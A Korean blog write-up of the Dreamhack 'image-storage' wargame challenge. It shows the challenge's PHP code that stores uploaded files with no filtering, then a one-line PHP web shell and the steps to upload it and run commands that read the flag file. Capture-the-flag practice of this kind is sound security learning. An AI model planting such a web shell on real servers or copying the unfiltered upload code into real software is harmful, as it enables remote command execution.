[μ›Ήν•΄ν‚Ή] image-storage

WooΒ·2025λ…„ 1μ›” 19일

μ›Œκ²Œμž„(μ›Ήν•΄ν‚Ή)

λͺ©λ‘ 보기
11/14

πŸ“– 문제

https://dreamhack.io/wargame/challenges/38/


πŸ“– 뢄석

ν•΄λ‹Ή λ¬Έμ œλŠ” 파일 μ—…λ‘œλ“œ 취약점을 μ‚¬μš©ν•΄ ν”Œλž˜κ·Έλ₯Ό νšλ“ν•˜λŠ” λ¬Έμ œμ΄λ‹€.
μ£Όμš” μ½”λ“œλ₯Ό μ‚΄νŽ΄λ³΄λ©΄

πŸ“˜ list.php

    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 

$directory에 μžˆλŠ” 파일 λͺ©λ‘ 쀑 '..', '.', 'index.html'을 μ œμ™Έν•˜κ³  좜λ ₯ν•œλ‹€.

πŸ“˜ uplode.php

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

파일 μ—…λ‘œλ“œμ— λŒ€ν•œ μ „λ°˜μ μΈ 뢀뢄을 λ‹΄λ‹Ήν•˜λŠ” μ½”λ“œμ΄λ©°, 였λ₯˜κ°€ 났을 λ•ŒλŠ” error, 같은 μ΄λ¦„μ˜ 파일이 μ‘΄μž¬ν•  λ–„λŠ” already exists., 그리고 μœ„μ˜ 두 κ²½μš°κ°€ 아닐 κ²½μš°μ—λŠ” 파일 μ—…λ‘œλ“œκ°€ κ°€λŠ₯ν•˜λ‹€.

λ‹€λ§Œ, 파일 μ—…λ‘œλ“œλŠ” μ–΄λ–€ 필터링 없이 λͺ¨λ“  νŒŒμΌμ„ μ—…λ‘œλ“œν•  수 μžˆλ„λ‘ μ§œμ—¬μ Έ μžˆλ‹€.


πŸ“– 풀이

λ”±νžˆ νŒŒμΌμ— λŒ€ν•œ 필터링이 μ—†κΈ° λ•Œλ¬Έμ— μ›Ή μ‰˜μ„ μ‚¬μš©ν•΄ λ°”λ‘œ μ§„μž…ν•  수 μžˆλ‹€.
webshell.phpλΌλŠ” νŒŒμΌμ„ λ§Œλ“€μ–΄ μ•„λž˜μ™€ 같이 μ½”λ“œλ₯Ό μž‘μ„±ν•œλ‹€.

<?php
    system($_GET[cmd]);
?>

이 νŒŒμΌμ„ μ‚¬μ΄νŠΈμ— μ—…λ‘œλ“œ ν•˜λ©΄ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•΄ ν”Œλž˜κ·Έμ— 접근이 κ°€λŠ₯ν•˜λ‹€.
/list νŽ˜μ΄μ§€μ— 가보면 μš°λ¦¬κ°€ μ—…λ‘œλ“œν•œ 파일이 μžˆλ‹€.

이 νŒŒμΌμ„ ν΄λ¦­ν•˜λ©΄ ν•΄λ‹Ή νŽ˜μ΄μ§€λ‘œ 이동할 수 μžˆλ‹€.
κ°„λ‹¨νžˆ μ΄λ™ν•˜κ³  μ‹ΆμœΌλ©΄ /uplode 디렉터리에 ν•΄λ‹Ή 파일이 μžˆλŠ” 것을 μ½”λ“œλ₯Ό 톡해 ν™•μΈν–ˆμœΌλ―€λ‘œ /uplode/webshell.php둜 이동할 수 μžˆλ‹€.

μš°λ¦¬κ°€ μ—…λ‘œλ“œν•œ μ›Ή μ‰˜μ„ μ‚¬μš©ν•˜λŠ” 방법은 κ°„λ‹¨ν•˜λ‹€.
ν•΄λ‹Ή νŽ˜μ΄μ§€μ— ?cmd=<λͺ…λ Ήμ–΄>λ₯Ό μž…λ ₯ν•˜λ©΄ λœλ‹€.

예λ₯Ό λ“€μ–΄ lsλͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜κΈ° μœ„ν•΄μ„œλŠ” ?cmd=lsλ₯Ό url 뒀에 λΆ™μ—¬μ£Όλ©΄ λœλ‹€.

λ‹€μŒκ³Ό 같이 ls λͺ…λ Ήμ–΄κ°€ μ •μƒμ μœΌλ‘œ μž‘λ™λ˜μ—ˆλ‹€.
이제 ν”Œλž˜κ·Έ νŒŒμΌμ„ μ°Ύμ•„λ³΄μž

4개의 μƒμœ„ 디렉터리λ₯Ό 거치면 flag.txtκ°€ μžˆλŠ” 것이 보인닀.
cat λͺ…λ Ήμ–΄λ₯Ό 톡해 ν”Œλž˜κ·Έλ₯Ό μ•Œμ•„λ‚Ό 수 μžˆλ‹€.

profile
닀덀벼

0개의 λŒ“κΈ€